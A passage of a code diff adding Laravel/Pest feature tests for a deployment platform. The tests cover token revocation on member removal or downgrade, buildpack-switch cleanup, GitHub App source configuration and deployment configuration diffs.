+    $token = $this->user->createToken('write-token', ['write'])->plainTextToken;
+
+    $this->team->members()->detach($this->user->id);
+
+    $this->withHeaders(bearerJson($token))
+        ->postJson('/api/v1/projects', ['name' => 'Should Not Exist'])
+        ->assertUnauthorized();
+
+    expect(Project::where('name', 'Should Not Exist')->exists())->toBeFalse();
+});
+
+test('downgraded member old write token cannot create team projects', function () {
+    $token = $this->user->createToken('write-token', ['write'])->plainTextToken;
+
+    $this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
+
+    $this->withHeaders(bearerJson($token))
+        ->postJson('/api/v1/projects', ['name' => 'Downgrade Bypass'])
+        ->assertForbidden();
+
+    expect(Project::where('name', 'Downgrade Bypass')->exists())->toBeFalse();
+});
+
+test('admin removal through team member component revokes team tokens', function () {
+    $owner = User::factory()->create();
+    $this->team->members()->attach($owner->id, ['role' => 'owner']);
+    $token = $this->user->createToken('read-token', ['read'])->accessToken;
+
+    $this->actingAs($owner);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Member::class, ['member' => $this->user])
+        ->call('remove');
+
+    expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
+});
+
+test('role downgrade through team member component revokes team tokens', function () {
+    $owner = User::factory()->create();
+    $this->team->members()->attach($owner->id, ['role' => 'owner']);
+    $token = $this->user->createToken('write-token', ['write'])->accessToken;
+
+    $this->actingAs($owner);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Member::class, ['member' => $this->user])
+        ->call('makeReadonly');
+
+    expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
+});
+
+test('member cannot create write token through livewire token form', function () {
+    $this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
+
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApiTokens::class)
+        ->set('description', 'member-write-token')
+        ->set('expiresInDays', 30)
+        ->set('permissions', ['write'])
+        ->call('addNewToken');
+
+    expect($this->user->tokens()->where('name', 'member-write-token')->exists())->toBeFalse();
+});
+
+test('password change revokes user personal access tokens', function () {
+    $token = $this->user->createToken('read-token', ['read'])->accessToken;
+
+    $this->user->forceFill(['password' => Hash::make('new-password')])->save();
+
+    expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
+});
+
+test('team deletion revokes team bound personal access tokens', function () {
+    $token = $this->user->createToken('read-token', ['read'])->accessToken;
+
+    $this->team->delete();
+
+    expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
+});

tests/Feature/Application/ApplicationBuildpackCleanupTest.php

@@ -78,26 +78,29 @@ describe('Application Model Buildpack Cleanup', function () {
 
         // Add environment variables that should be deleted
         EnvironmentVariable::create([
-            'application_id' => $application->id,
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
             'key' => 'SERVICE_FQDN_APP',
             'value' => 'app.example.com',
-            'is_build_time' => false,
+            'is_buildtime' => false,
             'is_preview' => false,
         ]);
 
         EnvironmentVariable::create([
-            'application_id' => $application->id,
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
             'key' => 'SERVICE_URL_APP',
             'value' => 'http://app.example.com',
-            'is_build_time' => false,
+            'is_buildtime' => false,
             'is_preview' => false,
         ]);
 
         EnvironmentVariable::create([
-            'application_id' => $application->id,
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
             'key' => 'REGULAR_VAR',
             'value' => 'should_remain',
-            'is_build_time' => false,
+            'is_buildtime' => false,
             'is_preview' => false,
         ]);
 
@@ -117,6 +120,87 @@ describe('Application Model Buildpack Cleanup', function () {
         expect($application->environment_variables()->where('key', 'REGULAR_VAR')->count())->toBe(1);
     });
 
+    test('model clears dockerfile fields when build_pack changes from dockerfile to railpack', function () {
+        $team = Team::factory()->create();
+        $project = Project::factory()->create(['team_id' => $team->id]);
+        $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+        $application = Application::factory()->create([
+            'environment_id' => $environment->id,
+            'build_pack' => 'dockerfile',
+            'dockerfile' => 'FROM node:18',
+            'dockerfile_location' => '/Dockerfile',
+            'dockerfile_target_build' => 'production',
+            'custom_healthcheck_found' => true,
+        ]);
+
+        $application->build_pack = 'railpack';
+        $application->save();
+        $application->refresh();
+
+        expect($application->build_pack)->toBe('railpack');
+        expect($application->dockerfile)->toBeNull();
+        expect($application->dockerfile_location)->toBeNull();
+        expect($application->dockerfile_target_build)->toBeNull();
+        expect($application->custom_healthcheck_found)->toBeFalse();
+    });
+
+    test('model clears dockercompose fields when build_pack changes from dockercompose to railpack', function () {
+        $team = Team::factory()->create();
+        $project = Project::factory()->create(['team_id' => $team->id]);
+        $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+        $application = Application::factory()->create([
+            'environment_id' => $environment->id,
+            'build_pack' => 'dockercompose',
+            'docker_compose_domains' => '{"app": "example.com"}',
+            'docker_compose_raw' => 'version: "3.8"\nservices:\n  app:\n    image: nginx',
+        ]);
+
+        // Add environment variables that should be deleted
+        EnvironmentVariable::create([
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
+            'key' => 'SERVICE_FQDN_APP',
+            'value' => 'app.example.com',
+            'is_buildtime' => false,
+            'is_preview' => false,
+        ]);
+
+        EnvironmentVariable::create([
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
+            'key' => 'SERVICE_URL_APP',
+            'value' => 'http://app.example.com',
+            'is_buildtime' => false,
+            'is_preview' => false,
+        ]);
+
+        EnvironmentVariable::create([
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
+            'key' => 'REGULAR_VAR',
+            'value' => 'should_remain',
+            'is_buildtime' => false,
+            'is_preview' => false,
+        ]);
+
+        $application->build_pack = 'railpack';
+        $application->save();
+        $application->refresh();
+
+        expect($application->build_pack)->toBe('railpack');
+        expect($application->docker_compose_domains)->toBeNull();
+        expect($application->docker_compose_raw)->toBeNull();
+
+        // Verify SERVICE_FQDN_* and SERVICE_URL_* were deleted
+        expect($application->environment_variables()->where('key', 'SERVICE_FQDN_APP')->count())->toBe(0);
+        expect($application->environment_variables()->where('key', 'SERVICE_URL_APP')->count())->toBe(0);
+
+        // Verify regular variables remain
+        expect($application->environment_variables()->where('key', 'REGULAR_VAR')->count())->toBe(1);
+    });
+
     test('model does not clear dockerfile fields when switching to dockerfile', function () {
         $team = Team::factory()->create();
         $project = Project::factory()->create(['team_id' => $team->id]);
@@ -156,6 +240,27 @@ describe('Application Model Buildpack Cleanup', function () {
         expect($application->dockerfile)->toBeNull();
     });
 
+    test('dockerfile location defaults only for dockerfile buildpack', function () {
+        $team = Team::factory()->create();
+        $project = Project::factory()->create(['team_id' => $team->id]);
+        $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+        $nixpacksApplication = Application::factory()->create([
+            'environment_id' => $environment->id,
+            'build_pack' => 'nixpacks',
+            'dockerfile_location' => null,
+        ]);
+
+        $dockerfileApplication = Application::factory()->create([
+            'environment_id' => $environment->id,
+            'build_pack' => 'dockerfile',
+            'dockerfile_location' => null,
+        ]);
+
+        expect($nixpacksApplication->refresh()->dockerfile_location)->toBeNull();
+        expect($dockerfileApplication->refresh()->dockerfile_location)->toBe('/Dockerfile');
+    });
+
     test('model does not trigger cleanup when build_pack is not changed', function () {
         $team = Team::factory()->create();
         $project = Project::factory()->create(['team_id' => $team->id]);

tests/Feature/Application/BuildpackSwitchCleanupTest.php

@@ -111,6 +111,29 @@ describe('Buildpack Switching Cleanup', function () {
         expect($application->dockerfile)->toBeNull();
     });
 
+    test('clears dockerfile fields when switching from dockerfile to railpack', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'build_pack' => 'dockerfile',
+            'dockerfile' => 'FROM node:18',
+            'dockerfile_location' => '/Dockerfile',
+            'dockerfile_target_build' => 'production',
+            'custom_healthcheck_found' => true,
+        ]);
+
+        Livewire::test(General::class, ['application' => $application])
+            ->assertSuccessful()
+            ->set('buildPack', 'railpack')
+            ->call('updatedBuildPack');
+
+        $application->refresh();
+        expect($application->build_pack)->toBe('railpack');
+        expect($application->dockerfile)->toBeNull();
+        expect($application->dockerfile_location)->toBeNull();
+        expect($application->dockerfile_target_build)->toBeNull();
+        expect($application->custom_healthcheck_found)->toBeFalse();
+    });
+
     test('clears dockerfile fields when switching from dockerfile to dockercompose', function () {
         $application = Application::factory()->create([
             'environment_id' => $this->environment->id,

tests/Feature/Application/GithubSourceChangeTest.php

@@ -0,0 +1,559 @@
+<?php
+
+use App\Livewire\Source\Github\Change;
+use App\Models\GithubApp;
+use App\Models\InstanceSettings;
+use App\Models\PrivateKey;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Cache;
+use Illuminate\Support\Facades\Http;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    // Create a team with owner
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    // Set current team
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    InstanceSettings::forceCreate([
+        'id' => 0,
+        'fqdn' => null,
+        'public_ipv4' => null,
+        'public_ipv6' => null,
+    ]);
+});
+
+function validPrivateKey(): string
+{
+    $key = openssl_pkey_new([
+        'private_key_bits' => 2048,
+        'private_key_type' => OPENSSL_KEYTYPE_RSA,
+    ]);
+
+    openssl_pkey_export($key, $privateKey);
+
+    return $privateKey;
+}
+
+describe('GitHub Source Change Component', function () {
+    test('all github app form controls declare explicit authorization', function () {
+        $view = file_get_contents(resource_path('views/livewire/source/github/change.blade.php'));
+
+        preg_match_all(
+            '/<x-forms\.(button|input|select|checkbox)\b(?![^>]*\bcanGate=)[^>]*>/s',
+            $view,
+            $matches,
+            PREG_OFFSET_CAPTURE
+        );
+
+        $missingAuthorization = collect($matches[0])
+            ->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0])))
+            ->all();
+
+        expect($missingAuthorization)->toBeEmpty();
+    });
+
+    test('can mount with newly created github app with null app_id', function () {
+        // Create a GitHub app without app_id (simulating a newly created source)
+        $githubApp = GithubApp::create([
+            'name' => 'Test GitHub App',
+            'api_url' => 'https://api.github.com',
+            'html_url' => 'https://github.com',
+            'custom_user' => 'git',
+            'custom_port' => 22,
+            'team_id' => $this->team->id,
+            'is_system_wide' => false,
+            // app_id is intentionally not set (null in database)
+        ]);
+
+        // Test that the component can mount without errors
+        Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
+            ->test(Change::class)
+            ->assertSuccessful()
+            ->assertSet('appId', null)
+            ->assertSet('installationId', null)
+            ->assertSet('clientId', null)
+            ->assertSet('clientSecret', null)
+            ->assertSet('webhookSecret', null)
+            ->assertSet('privateKeyId', null);
+    });
+
+    test('creates one-time states for manifest conversion and installation callbacks', function () {
+        $githubApp = GithubApp::create([
+            'name' => 'Test GitHub App',
+            'api_url' => 'https://api.github.com',
+            'html_url' => 'https://github.com',
+            'custom_user' => 'git',
+            'custom_port' => 22,
+            'team_id' => $this->team->id,
+            'is_system_wide' => false,
+        ]);
+
+        $component = Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
+            ->test(Change::class)
+            ->assertSuccessful();
+
+        $manifestState = $component->get('manifestState');
+        $installationUrl = getInstallationPath($githubApp);
+        parse_str(parse_url($installationUrl, PHP_URL_QUERY), $query);
+        $installState = $query['state'] ?? null;
+
+        expect($manifestState)->not->toBeEmpty()
+            ->and($installState)->not->toBeEmpty()
+            ->and($installState)->not->toBe($manifestState)
+            ->and($installationUrl)->not->toContain($githubApp->uuid)
+            ->and(Cache::get('github-app-setup-state:'.hash('sha256', $manifestState)))
+            ->toMatchArray([
+                'action' => 'manifest',
+                'github_app_id' => $githubApp->id,
+                'team_id' => $githubApp->team_id,
+            ])
+            ->and(Cache::get('github-app-setup-state:'.hash('sha256', $installState)))
+            ->toMatchArray([
+                'action' => 'install',
+                'github_app_id' => $githubApp->id,
+                'team_id' => $githubApp->team_id,
+            ]);
+    });
+
+    test('installation path is generated from the provided github app instance', function () {
+        $githubApp = new GithubApp;
+        $githubApp->forceFill([
+            'id' => 123,
+            'name' => 'Provided GitHub App',
+            'html_url' => 'https://github.example.com',
+            'team_id' => 456,
+        ]);
+
+        $installationUrl = getInstallationPath($githubApp);
+        parse_str(parse_url($installationUrl, PHP_URL_QUERY), $query);
+        $installState = $query['state'] ?? null;
+
+        expect($installationUrl)->toStartWith('https://github.example.com/github-apps/provided-git-hub-app/installations/new?')
+            ->and($installState)->not->toBeEmpty()
+            ->and(Cache::get('github-app-setup-state:'.hash('sha256', $installState)))
+            ->toMatchArray([
+                'action' => 'install',
+                'github_app_id' => 123,
+                'team_id' => 456,
+            ]);
+    });
+
+    test('ghe.com installation path uses github cloud owner scoped route', function () {
+        $githubApp = new GithubApp;
+        $githubApp->forceFill([
+            'id' => 123,
+            'name' => 'provided-github-app',
+            'organization' => 'acme-enterprise',
+            'html_url' => 'https://octocorp.ghe.com',
+            'team_id' => 456,
+        ]);
+
+        $installationUrl = getInstallationPath($githubApp);
+        parse_str(parse_url($installationUrl, PHP_URL_QUERY), $query);
+        $installState = $query['state'] ?? null;
+
+        expect($installationUrl)->toStartWith('https://octocorp.ghe.com/apps/acme-enterprise/provided-github-app/installations/new?')
+            ->and($installState)->not->toBeEmpty()
+            ->and(Cache::get('github-app-setup-state:'.hash('sha256', $installState)))
+            ->toMatchArray([
+                'action' => 'install',
+                'github_app_id' => 123,
+                'team_id' => 456,
+            ]);
+    });
+
+    test('installation path is pure and never calls github or mutates the app', function () {
+        Http::fake();
+
+        $privateKey = PrivateKey::create([
+            'name' => 'github-app-local-name',
+            'private_key' => validPrivateKey(),
+            'team_id' => $this->team->id,
+            'is_git_related' => true,
+        ]);
+
+        $githubApp = GithubApp::create([
+            'name' => 'Local Display Name',
+            'organization' => 'acme-enterprise',
+            'api_url' => 'https://api.github.com',
+            'html_url' => 'https://octocorp.ghe.com',
+            'custom_user' => 'git',
+            'custom_port' => 22,
+            'app_id' => 12345,
+            'private_key_id' => $privateKey->id,
+            'team_id' => $this->team->id,
+            'is_system_wide' => false,
+        ]);
+
+        $installationUrl = getInstallationPath($githubApp);
+
+        Http::assertNothingSent();
+
+        expect($installationUrl)->toStartWith('https://octocorp.ghe.com/apps/acme-enterprise/local-display-name/installations/new?')
+            ->and($githubApp->refresh()->name)->toBe('Local Display Name')
+            ->and($privateKey->refresh()->name)->toBe('github-app-local-name');
+    });
+
+    test('syncGithubAppName persists the github slug and renames the private key', function () {
+        Http::fake([
+            '*/app' => Http::response(['slug' => 'actual-github-slug']),
+            '*/zen' => Http::response('Keep it logically awesome.'),
+        ]);
+
+        $privateKey = PrivateKey::create([
+            'name' => 'github-app-local-name',
+            'private_key' => validPrivateKey(),
+            'team_id' => $this->team->id,
+            'is_git_related' => true,
+        ]);
+
+        $githubApp = GithubApp::create([
+            'name' => 'Local Display Name',
+            'organization' => 'acme-enterprise',
+            'api_url' => 'https://api.github.com',
+            'html_url' => 'https://octocorp.ghe.com',
+            'custom_user' => 'git',
+            'custom_port' => 22,
+            'app_id' => 12345,
+            'private_key_id' => $privateKey->id,
+            'team_id' => $this->team->id,
+            'is_system_wide' => false,
+        ]);
+
+        $appSlug = syncGithubAppName($githubApp, true);
+
+        expect($appSlug)->toBe('actual-github-slug')
+            ->and($githubApp->refresh()->name)->toBe('actual-github-slug')
+            ->and($privateKey->refresh()->name)->toBe('github-app-actual-github-slug');
+    });
+
+    test('ghe.com installation path encodes the organization segment', function () {
+        $githubApp = new GithubApp;
+        $githubApp->forceFill([
+            'id' => 123,
+            'name' => 'provided-github-app',
+            'organization' => '/acme enterprise/',
+            'html_url' => 'https://octocorp.ghe.com',
+            'team_id' => 456,
+        ]);
+
+        $installationUrl = getInstallationPath($githubApp);
+
+        expect($installationUrl)->toStartWith('https://octocorp.ghe.com/apps/acme%20enterprise/provided-github-app/installations/new?');
+    });
+
+    test('ghe.com installation path keeps app scoped fallback when organization is blank', function () {
+        $githubApp = new GithubApp;
+        $githubApp->forceFill([
+            'id' => 123,
+            'name' => 'provided-github-app',
+            'organization' => null,
+            'html_url' => 'https://octocorp.ghe.com',
+            'team_id' => 456,
+        ]);
+
+        $installationUrl = getInstallationPath($githubApp);
+
+        expect($installationUrl)->toStartWith('https://octocorp.ghe.com/apps/provided-github-app/installations/new?');
+    });
+
+    test('defaults webhook endpoint to app url when it is the first available endpoint', function () {
+        config(['app.url' => 'http://localhost:8000']);
+
+        InstanceSettings::findOrFail(0)->update([
+            'fqdn' => null,
+            'public_ipv4' => null,
+            'public_ipv6' => null,
+        ]);
+
+        $githubApp = GithubApp::create([
+            'name' => 'Test GitHub App',
+            'api_url' => 'https://api.github.com',
+            'html_url' => 'https://github.com',
+            'custom_user' => 'git',
+            'custom_port' => 22,
+            'team_id' => $this->team->id,
+            'is_system_wide' => false,
+        ]);
+
+        Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
+            ->test(Change::class)
+            ->assertSuccessful()
+            ->assertSet('webhook_endpoint', 'http://localhost:8000');
+    });
+
+    test('custom webhook endpoint is selected explicitly with a checkbox', function () {
+        config(['app.url' => 'http://localhost:8000']);
+
+        InstanceSettings::findOrFail(0)->update([
+            'fqdn' => 'http://staging.example.com',
+            'public_ipv4' => '84.1.202.183',
+            'public_ipv6' => null,
+        ]);
+
+        $githubApp = GithubApp::create([
+            'name' => 'Test GitHub App',
+            'api_url' => 'https://api.github.com',
+            'html_url' => 'https://github.com',
+            'custom_user' => 'git',
+            'custom_port' => 22,
+            'team_id' => $this->team->id,
+            'is_system_wide' => false,
+        ]);
+
+        Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
+            ->test(Change::class)
+            ->assertSuccessful()
+            ->assertSet('use_custom_webhook_endpoint', false)
+            ->set('custom_webhook_endpoint', 'https://staging.example.com')
+            ->set('use_custom_webhook_endpoint', true)
+            ->assertSet('webhook_endpoint', 'http://staging.example.com')
+            ->assertSet('custom_webhook_endpoint', 'https://staging.example.com')
+            ->assertSet('use_custom_webhook_endpoint', true)
+            ->assertSee('Use custom webhook endpoint')
+            ->assertSee('Selected endpoint')
+            ->assertSee('Custom endpoint')
+            ->assertSee('createGithubApp(webhookEndpoint, useCustomWebhookEndpoint, customWebhookEndpoint');
+    });
+
+    test('can mount with fully configured github app', function () {
+        Http::fake([
+            'https://api.github.com/app' => Http::response(['slug' => 'test-github-app']),
+        ]);
+
+        $privateKey = PrivateKey::create([
+            'name' => 'Test Key',
+            'private_key' => validPrivateKey(),
+            'team_id' => $this->team->id,
+        ]);
+
+        $githubApp = GithubApp::create([
+            'name' => 'Test GitHub App',
+            'api_url' => 'https://api.github.com',
+            'html_url' => 'https://github.com',
+            'custom_user' => 'git',
+            'custom_port' => 22,
+            'app_id' => 12345,
+            'installation_id' => 67890,
+            'client_id' => 'test-client-id',
+            'client_secret' => 'test-client-secret',
+            'webhook_secret' => 'test-webhook-secret',
+            'private_key_id' => $privateKey->id,
+            'team_id' => $this->team->id,
+            'is_system_wide' => false,
+        ]);
+
+        Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
+            ->test(Change::class)
+            ->assertSuccessful()
+            ->assertSet('appId', 12345)
+            ->assertSet('installationId', 67890)
+            ->assertSet('clientId', 'test-client-id')
+            ->assertSet('clientSecret', 'test-client-secret')
+            ->assertSet('webhookSecret', 'test-webhook-secret')
+            ->assertSet('privateKeyId', $privateKey->id);
+    });
+
+    test('can update github app from null to valid values', function () {
+        Http::fake([
+            'https://api.github.com/app' => Http::response(['slug' => 'test-github-app']),
+        ]);
+
+        $privateKey = PrivateKey::create([
+            'name' => 'Test Key',
+            'private_key' => validPrivateKey(),
+            'team_id' => $this->team->id,
+        ]);
+
+        $githubApp = GithubApp::create([
+            'name' => 'Test GitHub App',
+            'api_url' => 'https://api.github.com',
+            'html_url' => 'https://github.com',
+            'custom_user' => 'git',
+            'custom_port' => 22,
+            'team_id' => $this->team->id,
+            'is_system_wide' => false,
+        ]);
+
+        Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
+            ->test(Change::class)
+            ->assertSuccessful()
+            ->set('appId', 12345)
+            ->set('installationId', 67890)
+            ->set('clientId', 'new-client-id')
+            ->set('clientSecret', 'new-client-secret')
+            ->set('webhookSecret', 'new-webhook-secret')
+            ->set('privateKeyId', $privateKey->id)
+            ->call('submit')
+            ->assertDispatched('success');
+
+        // Verify the database was updated
+        $githubApp->refresh();
+        expect($githubApp->app_id)->toBe(12345);
+        expect($githubApp->installation_id)->toBe(67890);
+        expect($githubApp->client_id)->toBe('new-client-id');
+        expect($githubApp->private_key_id)->toBe($privateKey->id);
+    });
+
+    test('validation allows nullable values for app configuration', function () {
+        $githubApp = GithubApp::create([
+            'name' => 'Test GitHub App',
+            'api_url' => 'https://api.github.com',
+            'html_url' => 'https://github.com',
+            'custom_user' => 'git',
+            'custom_port' => 22,
+            'team_id' => $this->team->id,
+            'is_system_wide' => false,
+        ]);
+
+        // Test that validation passes with null values
+        Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
+            ->test(Change::class)
+            ->assertSuccessful()
+            ->call('submit')
+            ->assertHasNoErrors();
+    });
+
+    test('createGithubAppManually redirects to avoid morphing issues', function () {
+        $githubApp = GithubApp::create([
+            'name' => 'Test GitHub App',
+            'api_url' => 'https://api.github.com',
+            'html_url' => 'https://github.com',
+            'custom_user' => 'git',
+            'custom_port' => 22,
+            'team_id' => $this->team->id,
+            'is_system_wide' => false,
+        ]);
+
+        // Test that createGithubAppManually redirects instead of updating in place
+        Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
+            ->test(Change::class)
+            ->assertSuccessful()
+            ->call('createGithubAppManually')
+            ->assertRedirect(route('source.github.show', ['github_app_uuid' => $githubApp->uuid]));
+
+        // Verify the database was updated
+        $githubApp->refresh();
+        expect($githubApp->app_id)->toBe(1234567890);
+        expect($githubApp->installation_id)->toBe(1234567890);
+    });
+
+    test('checkPermissions validates required fields', function () {
+        // Create a GitHub app without app_id and private_key_id
+        $githubApp = GithubApp::create([
+            'name' => 'Test GitHub App',
+            'api_url' => 'https://api.github.com',
+            'html_url' => 'https://github.com',
+            'custom_user' => 'git',
+            'custom_port' => 22,
+            'team_id' => $this->team->id,
+            'is_system_wide' => false,
+        ]);
+
+        // Test that checkPermissions fails with appropriate error
+        Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
+            ->test(Change::class)
+            ->assertSuccessful()
+            ->call('checkPermissions')
+            ->assertDispatched('error', function ($event, $message) {
+                $message = is_array($message) ? implode(' ', $message) : $message;
+
+                return str_contains($message, 'App ID') && str_contains($message, 'Private Key');
+            });
+    });
+
+    test('checkPermissions validates private key exists', function () {
+        $githubApp = GithubApp::create([
+            'name' => 'Test GitHub App',
+            'api_url' => 'https://api.github.com',
+            'html_url' => 'https://github.com',
+            'custom_user' => 'git',
+            'custom_port' => 22,
+            'app_id' => 12345,
+            'private_key_id' => 99999, // Non-existent private key ID
+            'team_id' => $this->team->id,
+            'is_system_wide' => false,
+        ]);
+
+        // Test that checkPermissions fails when private key doesn't exist
+        Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
+            ->test(Change::class)
+            ->assertSuccessful()
+            ->call('checkPermissions')
+            ->assertDispatched('error', function ($event, $message) {
+                $message = is_array($message) ? implode(' ', $message) : $message;
+
+                return str_contains($message, 'Private Key not found');
+            });
+    });
+
+    test('checkPermissions syncs refetched permissions into input fields', function () {
+        $privateKey = PrivateKey::create([
+            'name' => 'Test Key',
+            'private_key' => validPrivateKey(),
+            'team_id' => $this->team->id,
+        ]);
+
+        $githubApp = GithubApp::create([
+            'name' => 'Test GitHub App',
+            'api_url' => 'https://api.github.com',
+            'html_url' => 'https://github.com',
+            'custom_user' => 'git',
+            'custom_port' => 22,
+            'app_id' => 12345,
+            'installation_id' => 67890,
+            'client_id' => 'test-client-id',
+            'client_secret' => 'test-client-secret',
+            'webhook_secret' => 'test-webhook-secret',
+            'private_key_id' => $privateKey->id,
+            'team_id' => $this->team->id,
+            'is_system_wide' => false,
+            'contents' => null,
+            'metadata' => null,
+            'pull_requests' => null,
+        ]);
+
+        Http::preventStrayRequests();
+        Http::fake([
+            'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
+                'date' => now()->toRfc7231String(),
+            ]),
+            'https://api.github.com/app' => Http::response([
+                'permissions' => [
+                    'contents' => 'read',
+                    'metadata' => 'read',
+                    'pull_requests' => 'write',
+                ],
+            ]),
+        ]);
+
+        Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
+            ->test(Change::class)
+            ->assertSuccessful()
+            ->assertSet('name', 'test-git-hub-app')
+            ->assertSet('contents', null)
+            ->assertSet('metadata', null)
+            ->assertSet('pullRequests', null)
+            ->call('checkPermissions')
+            ->assertDispatched('success')
+            ->assertSet('name', 'test-git-hub-app')
+            ->assertSet('contents', 'read')
+            ->assertSet('metadata', 'read')
+            ->assertSet('pullRequests', 'write');
+
+        $githubApp->refresh();
+
+        expect($githubApp->contents)->toBe('read')
+            ->and($githubApp->metadata)->toBe('read')
+            ->and($githubApp->pull_requests)->toBe('write');
+    });
+});

tests/Feature/ApplicationConfigurationChangedTest.php

@@ -0,0 +1,101 @@
+<?php
+
+use App\Models\Application;
+use App\Models\ApplicationDeploymentQueue;
+use App\Models\Environment;
+use App\Models\EnvironmentVariable;
+use App\Models\Project;
+use App\Models\Team;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Str;
+
+uses(RefreshDatabase::class);
+
+function configurationChangedTestApplication(array $attributes = []): Application
+{
+    $team = Team::factory()->create();
+    $project = Project::factory()->create(['team_id' => $team->id]);
+    $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+    return Application::factory()->create(array_merge([
+        'environment_id' => $environment->id,
+        'status' => 'running:healthy',
+        'build_command' => 'npm run build',
+    ], $attributes));
+}
+
+function configurationChangedDeployment(Application $application): ApplicationDeploymentQueue
+{
+    return ApplicationDeploymentQueue::create([
+        'application_id' => (string) $application->id,
+        'deployment_uuid' => (string) Str::uuid(),
+        'status' => 'finished',
+        'commit' => 'HEAD',
+    ]);
+}
+
+it('stores deployment configuration snapshot and clears pending changes', function () {
+    $application = configurationChangedTestApplication();
+    $deployment = configurationChangedDeployment($application);
+
+    $application->markDeploymentConfigurationApplied($deployment);
+
+    expect($deployment->refresh()->configuration_hash)->not->toBeNull()
+        ->and($deployment->configuration_snapshot)->toBeArray()
+        ->and($application->refresh()->pendingDeploymentConfigurationDiff()->isChanged())->toBeFalse();
+});
+
+it('stores a diff between successful deployments', function () {
+    $application = configurationChangedTestApplication();
+    $firstDeployment = configurationChangedDeployment($application);
+    $application->markDeploymentConfigurationApplied($firstDeployment);
+
+    $application->update(['build_command' => 'pnpm build']);
+    $secondDeployment = configurationChangedDeployment($application->refresh());
+    $application->markDeploymentConfigurationApplied($secondDeployment);
+
+    expect($secondDeployment->refresh()->configuration_diff['count'])->toBe(1)
+        ->and(data_get($secondDeployment->configuration_diff, 'changes.0.label'))->toBe('Build command');
+});
+
+it('checks legacy preview deployment configuration hash using preview environment variable query', function () {
+    $application = configurationChangedTestApplication();
+
+    EnvironmentVariable::create([
+        'key' => 'APP_ENV',
+        'value' => 'preview',
+        'is_preview' => true,
+        'is_multiline' => false,
+        'is_literal' => false,
+        'is_buildtime' => true,
+        'is_runtime' => true,
+        'resourceable_type' => Application::class,
+        'resourceable_id' => $application->id,
+    ]);
+
+    $application->forceFill([
+        'config_hash' => 'legacy-hash',
+        'pull_request_id' => 123,
+    ]);
+
+    $diff = $application->pendingDeploymentConfigurationDiff();
+
+    expect($diff->isChanged())->toBeTrue()
+        ->and($diff->count())->toBeGreaterThan(0);
+});
+
+it('falls back to real diff against empty snapshot when no deployment snapshot exists', function () {
+    $application = configurationChangedTestApplication();
+    $application->isConfigurationChanged(save: true);
+
+    expect($application->refresh()->pendingDeploymentConfigurationDiff()->isChanged())->toBeFalse();
+
+    $application->update(['build_command' => 'pnpm build']);
+
+    $diff = $application->refresh()->pendingDeploymentConfigurationDiff();
+
+    expect($diff->isChanged())->toBeTrue()
+        ->and($diff->isLegacyFallback())->toBeFalse()
+        ->and($diff->count())->toBeGreaterThan(0)
+        ->and(collect($diff->changes())->pluck('label')->toArray())->toContain('Build command');
+});

tests/Feature/ApplicationCustomNginxConfigurationApiTest.php

@@ -0,0 +1,150 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
+
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+    session(['currentTeam' => $this->team]);
+
+    $plainTextToken = Str::random(40);
+    $token = $this->user->tokens()->create([
+        'name' => 'custom-nginx-api-test-'.Str::random(6),
+        'token' => hash('sha256', $plainTextToken),
+        'abilities' => ['*'],
+        'team_id' => $this->team->id,
+    ]);
+    $this->bearerToken = $token->getKey().'|'.$plainTextToken;
+
+    $this->server = Server::factory()->create(['team_id' => $this->team->id]);
